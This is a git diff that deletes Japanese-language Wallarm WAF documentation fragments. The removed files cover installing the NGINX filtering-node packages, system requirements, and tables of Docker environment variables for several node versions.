-=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. Wallarmパッケージをインストール - -次のパッケージが必要です: - -* NGINX-Wallarmモジュール用の`nginx-module-wallarm` -* [postanalytics][install-postanalytics-docs]モジュール、Tarantoolデータベース、および追加のNGINX-Wallarmパッケージ用の`wallarm-node` - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` - -## 4. Wallarmモジュールを接続 - -1. ファイル`/etc/nginx/nginx.conf`を開きます: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. ファイルに`include /etc/nginx/conf.d/*;`行が追加されていることを確認してください。該当行がない場合は追加してください。 -3. `worker_processes`ディレクティブの直後に次のディレクティブを追加してください: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - ディレクティブを追加した設定例: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -4. システムセットアップ用の設定ファイルをコピーしてください: - - ``` bash - sudo cp /usr/share/doc/nginx-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. フィルタリングノードをWallarm Cloudに接続 - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/nginx-distro-use-cases.md b/include-ja/waf/installation/linux-packages/nginx-distro-use-cases.md deleted file mode 100644 index a263a2fcf3..0000000000 --- a/include-ja/waf/installation/linux-packages/nginx-distro-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]の中では、ディストリビューション提供のNGINX向けDEB/RPMパッケージを使用したWallarmのデプロイを次の**ユースケース**で推奨します： - -* コンテナベースの手法を使用せず、ベアメタルまたは仮想マシンを基盤とするインフラストラクチャです。一般的に、これらの環境はAnsibleやSaltStackなどのInfrastructure as Code（IaC）ツールで管理されます。 -* サービスがディストリビューション提供のNGINXを中心に構築されています。Wallarmはこれらのパッケージを使用して機能を拡張できます。 \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/nginx-plus-use-cases.md b/include-ja/waf/installation/linux-packages/nginx-plus-use-cases.md deleted file mode 100644 index bc736748c1..0000000000 --- a/include-ja/waf/installation/linux-packages/nginx-plus-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]の中では、NGINX Plus向けDEB/RPMパッケージが次の**ユースケース**でのWallarmのデプロイに推奨されます： - -* インフラストラクチャはコンテナベースの方式を使用せず、ベアメタルまたは仮想マシンを基盤としています。通常、これらの環境はAnsibleやSaltStackなどのInfrastructure as Code（IaC）ツールで管理されます。 -* サービスはNGINX Plusを中心に構築されています。Wallarmは、これらのパッケージを使用してNGINX Plusの機能を拡張できます。 \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/nginx-stable-use-cases.md b/include-ja/waf/installation/linux-packages/nginx-stable-use-cases.md deleted file mode 100644 index d2a9bbb14c..0000000000 --- a/include-ja/waf/installation/linux-packages/nginx-stable-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]のうち、NGINX Stable向けのDEB/RPMパッケージは、次の**ユースケース**でのWallarmのデプロイ時に推奨されます： - -* インフラストラクチャがベアメタルまたは仮想マシンを基盤としており、コンテナベースの方式を使用していません。通常、これらの構成はAnsibleやSaltStackのようなInfrastructure as Code（IaC）ツールで管理されます。 -* サービスがNGINX Stableを中心に構築されています。Wallarmはこれらのパッケージを使用して機能を拡張できます。 \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/requirements-nginx-distro.md b/include-ja/waf/installation/linux-packages/requirements-nginx-distro.md deleted file mode 100644 index 71a37e0f2e..0000000000 --- a/include-ja/waf/installation/linux-packages/requirements-nginx-distro.md +++ /dev/null @@ -1,9 +0,0 @@ -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセス権が必要があります -* SELinuxを無効化している、または[手順][configure-selinux-instr]に従って設定している必要があります -* すべてのコマンドをスーパーユーザー（例：`root`）として実行する必要があります -* パッケージをダウンロードするために`https://repo.wallarm.com`へアクセスできる必要があります。アクセスがファイアウォールによってブロックされていないことを確認してください -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com`へアクセスできる必要があります。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][configure-proxy-balancer-instr]に従ってください -* 攻撃検出ルールの更新をダウンロードし、[許可リスト、拒否リスト、またはグレーリスト][ip-lists-docs]に登録した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへアクセスできる必要があります - - --8<-- "../include/wallarm-cloud-ips.md" -* テキストエディタ**vim**、**nano**、またはその他がインストールされている必要があります。この手順では**vim**を使用します \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/requirements-nginx-plus.md b/include-ja/waf/installation/linux-packages/requirements-nginx-plus.md deleted file mode 100644 index 1f1c2731e3..0000000000 --- a/include-ja/waf/installation/linux-packages/requirements-nginx-plus.md +++ /dev/null @@ -1,13 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です -* SELinuxを無効化しているか、[手順][configure-selinux-instr]に従って設定済みである必要があります -* NGINX Plusリリース29または30（R29またはR30）が必要です - - !!! info "カスタムNGINX Plusバージョン" - 異なるバージョンを使用している場合は、[NGINXのカスタムビルドにWallarmモジュールを接続する方法][nginx-custom]の手順を参照します -* すべてのコマンドはスーパーユーザー（例: `root`）として実行します -* パッケージをダウンロードするために`https://repo.wallarm.com`へアクセスできる状態である必要があります。アクセスがファイアウォールでブロックされていないことを確認します -* US Wallarm Cloudを利用する場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudを利用する場合は`https://api.wallarm.com`へアクセスできる状態である必要があります。アクセスをプロキシサーバー経由でしか設定できない場合は、[手順][configure-proxy-balancer-instr]を使用します -* 攻撃検出ルールの更新をダウンロードするため、また、[allowlisted、denylisted、またはgraylisted][ip-lists-docs]の国・地域・データセンターの正確なIPアドレスを取得するために、以下のIPアドレスへアクセスできる状態である必要があります - - --8<-- "../include/wallarm-cloud-ips.md" -* テキストエディター**vim**、**nano**、またはその他がインストールされている必要があります。本手順では**vim**を使用します \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/requirements-nginx-stable.md b/include-ja/waf/installation/linux-packages/requirements-nginx-stable.md deleted file mode 100644 index 5fcd79beac..0000000000 --- a/include-ja/waf/installation/linux-packages/requirements-nginx-stable.md +++ /dev/null @@ -1,13 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要があります -* SELinuxが無効化されているか、[手順][configure-selinux-instr]に従って設定されている必要があります -* NGINXバージョン1.24.0が必要があります - - !!! info "カスタムNGINXのバージョン" - 異なるバージョンをお使いの場合は、[NGINXのカスタムビルドにWallarmモジュールを接続する方法][nginx-custom]の手順を参照してください -* すべてのコマンドをスーパーユーザー（例：`root`）として実行する必要があります -* パッケージをダウンロードするための`https://repo.wallarm.com`へのアクセスが必要があります。アクセスがファイアウォールでブロックされていないことを確認してください -* USのWallarm Cloudで作業するための`https://us1.api.wallarm.com`またはEUのWallarm Cloudで作業するための`https://api.wallarm.com`へのアクセスが必要があります。アクセスをプロキシサーバー経由でのみ設定できる場合は、[手順][configure-proxy-balancer-instr]に従ってください -* 攻撃検出ルールの更新をダウンロードし、[allowlisted, denylisted, or graylisted][ip-lists-docs]の国、地域、またはデータセンターの正確なIPアドレスを取得するため、以下のIPアドレスへのアクセスが必要があります - - --8<-- "../include/wallarm-cloud-ips.md" -* **vim**、**nano**などのテキストエディターがインストールされている必要があります。本手順では**vim**を使用します \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/separate-postanalytics-reqs.md b/include-ja/waf/installation/linux-packages/separate-postanalytics-reqs.md deleted file mode 100644 index d4ab461b87..0000000000 --- a/include-ja/waf/installation/linux-packages/separate-postanalytics-reqs.md +++ /dev/null @@ -1,6 +0,0 @@ -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセスが必要です -* SELinuxが無効化されているか、[手順][configure-selinux-instr]に従って構成されている必要があります -* すべてのコマンドはスーパーユーザー(例:`root`)として実行してください -* パッケージをダウンロードするために`https://repo.wallarm.com`へのアクセスが必要です。アクセスがファイアウォールでブロックされていないことを確認してください -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com`へのアクセス、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com`へのアクセスが必要です。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][configure-proxy-balancer-instr]を使用してください -* テキストエディタ**vim**、**nano**、またはその他のエディタがインストールされている必要があります。この記事のコマンドでは**vim**を使用します \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-218.md b/include-ja/waf/installation/nginx-docker-all-env-vars-218.md deleted file mode 100644 index 0e91f14531..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-218.md +++ /dev/null @@ -1,10 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのメールアドレスです。| はい -`DEPLOY_PASSWORD` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのパスワードです。 | はい -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • `us1.api.wallarm.com` はUS Cloud向け
              • `api.wallarm.com` はEU Cloud向け
              デフォルト: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` は不正リクエストをブロックします
              • `monitoring` はリクエストを解析しますがブロックしません
              • `off` はトラフィックの解析および処理を無効にします
              デフォルト: `monitoring`です。 | いいえ -`TARANTOOL_MEMORY_GB` | Tarantoolに割り当てる[メモリ量][allocating-memory-guide]です。値は整数または浮動小数点数です（小数点の区切り文字はドット.です）。デフォルト: 0.2ギガバイトです。 | いいえ -`WALLARM_ACL_ENABLE` | デフォルト設定でIPブロッキング機能を有効にします。変数には次の値を指定できます:
              • `true` はIPブロッキング機能を有効にします
              • `false` はIPブロッキング機能を無効にします
              デフォルト値（変数がコンテナに渡されない場合）は`false`です。
              カスタム設定でIPブロッキング機能を有効にするには、適切なNGINXの[ディレクティブ][wallarm-acl-directive]を定義し、定義したディレクティブを含む構成ファイルを[マウント][mount-config-instr]してコンテナを実行する必要があります。

              値 `on` / `enabled` / `ok` / `yes`

              フィルタリングノードイメージのバージョン2.16.0-8以降では、この変数に`on` / `enabled` / `ok` / `yes`の値を設定するとIPブロッキング機能が無効になります。本ドキュメントの説明に従って最新のイメージバージョンをデプロイし、この変数には`true`または`false`の値を渡すことを推奨します。

              | いいえ -`DEPLOY_FORCE` | 既存のWallarmノード名が実行中のコンテナの識別子と一致する場合、既存のWallarmノードを新しいノードに置き換えます。変数には次の値を指定できます:
              • `true` はフィルタリングノードを置き換えます
              • `false` はフィルタリングノードの置き換えを無効にします
              デフォルト値（変数がコンテナに渡されない場合）は`false`です。
              Wallarmノード名は常に実行中のコンテナの識別子と一致します。環境内のDockerコンテナ識別子が静的で、フィルタリングノードを持つ別のDockerコンテナ（例: 新しいバージョンのイメージを含むコンテナ）を実行しようとしている場合、フィルタリングノードの置き換えが役立ちます。この場合に変数の値が`false`であると、フィルタリングノードの作成処理は失敗します。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-3.4.md b/include-ja/waf/installation/nginx-docker-all-env-vars-3.4.md deleted file mode 100644 index 7754a86c3b..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-3.4.md +++ /dev/null @@ -1,10 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのメールアドレスです。| はい -`DEPLOY_PASSWORD` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのパスワードです。 | はい -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • `us1.api.wallarm.com`（US Cloud向け）
              • `api.wallarm.com`（EU Cloud向け）
              デフォルト: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` 悪意のあるリクエストをブロックします。
              • `safe_blocking` [グレーリストのIPアドレス][graylist-docs]からの悪意のあるリクエストのみをブロックします。
              • `monitoring` リクエストを解析しますがブロックしません。
              • `off` トラフィックの解析と処理を無効にします。
              デフォルト: `monitoring`です。
              [フィルタリングモードの詳細 →][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用する保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数にできます。

              デフォルト値（変数がコンテナに渡されない場合）は`-1`です。これはWallarm Console → **Settings** → **Application**に表示される**default**アプリケーションを示します。

              [アプリケーションの設定の詳細 →][application-configuration]

              変数`WALLARM_APPLICATION`のサポート

              変数`WALLARM_APPLICATION`は、バージョン`3.4.1-1`以降のDockerイメージでのみサポートされます。

              | いいえ -`TARANTOOL_MEMORY_GB` | Tarantoolに割り当てる[メモリ容量][allocating-memory-guide]です。値は整数または浮動小数点数（小数点は.）にできます。デフォルト: 0.2ギガバイトです。 | いいえ -`DEPLOY_FORCE` | 実行中のコンテナの識別子と既存のWallarmノード名が一致する場合、既存のWallarmノードを新しいノードに置き換えます。変数には次の値を設定できます:
              • `true` フィルタリングノードを置き換えます。
              • `false` フィルタリングノードの置き換えを無効にします。
              デフォルト値（変数がコンテナに渡されない場合）は`false`です。
              Wallarmノード名は、実行中のコンテナの識別子と常に一致します。お使いの環境でDockerコンテナの識別子が固定で、フィルタリングノードを含む別のDockerコンテナ（たとえば、新しいバージョンのイメージを持つコンテナ）を実行しようとしている場合、フィルタリングノードの置き換えが役立ちます。この場合に変数の値が`false`だと、フィルタリングノードの作成処理は失敗します。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-3.6.md b/include-ja/waf/installation/nginx-docker-all-env-vars-3.6.md deleted file mode 100644 index a1ab3410d3..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのメールアドレスです。| はい -`DEPLOY_PASSWORD` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのパスワードです。 | はい -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • US Cloudの場合は`us1.api.wallarm.com`
              • EU Cloudの場合は`api.wallarm.com`
              既定値: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` は悪意のあるリクエストをブロックします
              • `safe_blocking` は[グレーリスト化されたIPアドレス][graylist-docs]から発生した悪意のあるリクエストのみをブロックします
              • `monitoring` はリクエストを解析しますが、ブロックしません
              • `off` はトラフィックの解析と処理を無効化します
              既定値: `monitoring`です。
              [フィルタリングモードの詳細な説明→][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用する保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数にできます。

              コンテナに変数が渡されない場合の既定値は`-1`です。これはWallarm Console → **Settings** → **Application**に表示される**デフォルト**のアプリケーションを示します。

              [アプリケーションの設定の詳細→][application-configuration]

              変数`WALLARM_APPLICATION`のサポート

              変数`WALLARM_APPLICATION`はDockerイメージのバージョン`3.4.1-1`以降でのみサポートされます。

              | いいえ -`TARANTOOL_MEMORY_GB` | [Tarantoolに割り当てるメモリ量][allocating-memory-guide]です。値は整数または浮動小数点数にできます(小数点の区切り文字はドット(.)です)。既定値: 0.2ギガバイトです。 | いいえ -`DEPLOY_FORCE` | 実行中のコンテナの識別子と既存のWallarmノード名が一致する場合、既存のWallarmノードを新しいものに置き換えます。変数には次の値を設定できます:
              • `true` はフィルタリングノードを置き換えます
              • `false` はフィルタリングノードの置き換えを無効化します
              コンテナに変数が渡されない場合の既定値は`false`です。
              Wallarmノード名は常に、実行中のコンテナの識別子と一致します。フィルタリングノードの置き換えは、環境内のDockerコンテナの識別子が静的で、フィルタリングノードを含む別のDockerコンテナ(たとえば新しいバージョンのイメージを持つコンテナ)を起動しようとしている場合に役立ちます。この場合に変数の値が`false`だと、フィルタリングノードの作成処理は失敗します。 | いいえ -`NGINX_PORT` |

              NGINXがDockerコンテナ内で使用するポートを設定します。このDockerコンテナをKubernetesクラスターのPod内で[サイドカーコンテナ][about-sidecar-container]として使用する際のポート衝突を回避できます。

              コンテナに変数が渡されない場合の既定値は`80`です。

              構文は`NGINX_PORT='443'`です。

              | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-4.0.md b/include-ja/waf/installation/nginx-docker-all-env-vars-4.0.md deleted file mode 100644 index 6f50bf1f6f..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-4.0.md +++ /dev/null @@ -1,9 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarmノードトークンです。

              Wallarm Cloudへのアクセス構成に使用されていた以前の変数

              バージョン4.0のリリース前は、`WALLARM_API_TOKEN`の代わりに`DEPLOY_USERNAME`と`DEPLOY_PASSWORD`が使用されていました。新しいリリース以降は、Wallarm Cloudへのアクセスにはトークンベースの新しい方式を使用することを推奨します。 [新しいノードバージョンへの移行の詳細](/updating-migrating/docker-container/)

              | はい -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • US Cloud向けは`us1.api.wallarm.com`
              • EU Cloud向けは`api.wallarm.com`
              デフォルト: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` 悪意のあるリクエストをブロックします
              • `safe_blocking` [グレーリスト化されたIPアドレス][graylist-docs]からの悪意のあるリクエストのみをブロックします
              • `monitoring` リクエストを解析しますがブロックはしません
              • `off` トラフィックの解析と処理を無効にします
              デフォルト: `monitoring`です。
              [フィルタリングモードの詳細 →][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用される保護対象アプリケーションの一意の識別子です。値には`0`を除く正の整数を指定できます。

              デフォルト値（コンテナに変数が渡されない場合）は`-1`です。これはWallarm Console → **Settings** → **Application**に表示される**デフォルト**アプリケーションを示します。

              [アプリケーションの設定の詳細 →][application-configuration] | いいえ -`TARANTOOL_MEMORY_GB` | Tarantoolに割り当てる[メモリ容量][allocating-memory-guide]です。値は整数または浮動小数点数です（小数点の区切りはドット.です）。デフォルト: 0.2ギガバイトです。 | いいえ -`NGINX_PORT` | NGINXがDockerコンテナ内で使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスはNGINXと同じポートで自動的に実行されます。

              デフォルト値（コンテナに変数が渡されない場合）は`80`です。

              構文は`NGINX_PORT='443'`です。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-4.10.md b/include-ja/waf/installation/nginx-docker-all-env-vars-4.10.md deleted file mode 100644 index 836362efbd..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-4.10.md +++ /dev/null @@ -1,13 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_LABELS` |

              ノード4.6以降で利用可能です。`WALLARM_API_TOKEN`が`Deploy`ロールを持つ[APIトークン][api-token]に設定されている場合にのみ機能します。ノードインスタンスのグルーピング用に`group`ラベルを設定します。例えば:

              `WALLARM_LABELS="group="`

              ...は、ノードインスタンスを``インスタンスグループ（既存、または存在しない場合は作成されます）に配置します。

              | はい（APIトークンの場合） -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • US Cloud向けは`us1.api.wallarm.com`
              • EU Cloud向けは`api.wallarm.com`
              デフォルト: `api.wallarm.com`。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` 不正リクエストをブロックします
              • `safe_blocking` [グレーリストに登録されたIPアドレス][graylist-docs]から発生した不正リクエストのみをブロックします
              • `monitoring` リクエストを解析しますがブロックしません
              • `off` トラフィックの解析と処理を無効化します
              デフォルト: `monitoring`。
              [フィルタリングモードの詳細な説明→][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用する保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数です。

              デフォルト値（変数がコンテナに渡されない場合）は`-1`で、Wallarm Console → **Settings** → **Application**に表示される**デフォルト**アプリケーションを示します。

              [アプリケーションの設定の詳細→][application-configuration] | いいえ -`TARANTOOL_MEMORY_GB` | Tarantoolに割り当てる[メモリ量][allocating-memory-guide]です。値は整数または浮動小数点数（小数点はドット.）にできます。デフォルト: 1ギガバイト。 | いいえ -`NGINX_PORT` | NGINXがDockerコンテナ内で使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスはNGINXと同じポートで自動的に実行されます。

              デフォルト値（変数がコンテナに渡されない場合）は`80`です。

              構文は`NGINX_PORT='443'`です。 | いいえ -`WALLARM_STATUS_ALLOW` | Dockerコンテナ外部から[`/wallarm-status`エンドポイント][node-status-docs]へアクセスできるカスタムCIDRです。値の例: `10.0.0.0/8`。複数の値を渡す必要がある場合は、区切り文字としてカンマ`,`を使用してください。サービスへ外部からアクセスするには、`/wallarm-status`エンドポイントのパスを指定し、DockerコンテナのIPを使用してください。 | いいえ -`DISABLE_IPV6`| 空でない任意の値が設定されている場合、NGINX設定ファイルから`listen [::]:80 default_server ipv6only=on;`行を削除し、NGINXによるIPv6接続の処理を停止します。

              この変数が明示的に指定されていない、または空の値`""`の場合、NGINXはIPv6とIPv4の両方の接続を処理します。 | いいえ -`WALLARM_APIFW_ENABLE` | この設定はリリース4.10以降で利用可能な[API仕様の強制][api-policy-enf-docs]をオンまたはオフに切り替えます。なお、この機能を有効化しても、必要なサブスクリプションおよびWallarm Console UIでの設定の代替にはなりません。

              デフォルト値は`true`で、機能を有効にします。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-4.2.md b/include-ja/waf/installation/nginx-docker-all-env-vars-4.2.md deleted file mode 100644 index 7990a951dd..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-4.2.md +++ /dev/null @@ -1,10 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarmノードトークンです。

              Wallarm Cloudへのアクセスを構成する従来の変数

              バージョン4.0のリリース前は、`WALLARM_API_TOKEN`の前身となる変数として`DEPLOY_USERNAME`と`DEPLOY_PASSWORD`が使用されていました。新しいリリース以降は、Wallarm Cloudへのアクセスには新しいトークンベースの方式を使用することを推奨します。[新しいノードバージョンへの移行の詳細](/updating-migrating/docker-container/)

              | はい -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメイン名またはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー：
              • US Cloud向け：`us1.api.wallarm.com`
              • EU Cloud向け：`api.wallarm.com`
              デフォルト：`api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード：
              • `block`: 悪意のあるリクエストをブロックします
              • `safe_blocking`: [グレーリスト化されたIPアドレス][graylist-docs]から発生した悪意のあるリクエストのみをブロックします
              • `monitoring`: リクエストを解析しますがブロックしません
              • `off`: トラフィックの解析と処理を無効にします
              デフォルト：`monitoring`です。
              [フィルタリングモードの詳細 →][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用される保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数にできます。

              デフォルト値（変数がコンテナに渡されない場合）は`-1`で、Wallarm Console → **Settings** → **Application**に表示されるデフォルトのアプリケーションを示します。

              [アプリケーションの設定に関する詳細 →][application-configuration] | いいえ -`TARANTOOL_MEMORY_GB` | [Tarantoolに割り当てるメモリ量][allocating-memory-guide]です。値は整数または浮動小数点数にできます（小数点の区切りにはドット（.）を使用します）。デフォルト：0.2ギガバイトです。 | いいえ -`NGINX_PORT` | NGINXがDockerコンテナ内で使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスは自動的にNGINXと同じポートで実行されます。

              デフォルト値（変数がコンテナに渡されない場合）は`80`です。

              構文は`NGINX_PORT='443'`です。 | いいえ -`DISABLE_IPV6`| 空でない任意の値が設定されている場合、この変数はNGINXの設定ファイルから`listen [::]:80 default_server ipv6only=on;`の行を削除し、NGINXによるIPv6接続の処理を停止します。

              変数が明示的に指定されていないか、空の値`""`である場合、NGINXはIPv6とIPv4の両方の接続を処理します。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-4.4.md b/include-ja/waf/installation/nginx-docker-all-env-vars-4.4.md deleted file mode 100644 index 964911c84a..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-4.4.md +++ /dev/null @@ -1,11 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarmノードトークンです。

              複数のインストールで1つのトークンを使用する

              選択したプラットフォームに関係なく、複数のインストールで1つのトークンを使用できます。これにより、Wallarm Console UIでノードインスタンスを論理的にグループ化できます。例: 開発環境に複数のWallarmノードをデプロイし、それぞれのノードは特定の開発者が所有する個別のマシン上にあります。

              | はい -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • US Cloudの場合は`us1.api.wallarm.com`
              • EU Cloudの場合は`api.wallarm.com`
              デフォルト: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` 悪意のあるリクエストをブロックします
              • `safe_blocking` [グレーリストに登録されたIPアドレス][graylist-docs]に由来する悪意のあるリクエストのみをブロックします
              • `monitoring` リクエストを解析しますがブロックしません
              • `off` トラフィックの解析および処理を無効にします
              デフォルト: `monitoring`です。
              [フィルタリングモードの詳細→][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用する保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数を指定できます。

              デフォルト値(変数がコンテナに渡されない場合)は`-1`で、Wallarm Console → **Settings** → **Application**に表示される**デフォルト**のアプリケーションを示します。

              [アプリケーションの設定の詳細→][application-configuration] | いいえ -`TARANTOOL_MEMORY_GB` | [メモリ割り当て量][allocating-memory-guide]、Tarantoolに割り当てるメモリ量です。値は整数または浮動小数を指定できます(小数点は.です)。デフォルト: 0.2ギガバイトです。 | いいえ -`NGINX_PORT` | Dockerコンテナ内でNGINXが使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスはNGINXと同じポートで自動的に実行されます。

              デフォルト値(変数がコンテナに渡されない場合)は`80`です。

              書式は`NGINX_PORT='443'`です。 | いいえ -`WALLARM_STATUS_ALLOW` | Dockerコンテナ外部から[`/wallarm-status`エンドポイント][node-status-docs]へアクセスできるように許可するカスタムCIDRです。例の値: `10.0.0.0/8`です。複数の値を渡す必要がある場合は、区切り文字としてカンマ`,`を使用します。サービスに外部からアクセスするには、DockerコンテナのIPを使用し、`/wallarm-status`エンドポイントのパスを指定します。 | いいえ -`DISABLE_IPV6`| 空でない任意の値をこの変数に設定すると、NGINX設定ファイルから`listen [::]:80 default_server ipv6only=on;`の行が削除され、NGINXによるIPv6接続の処理が停止します。

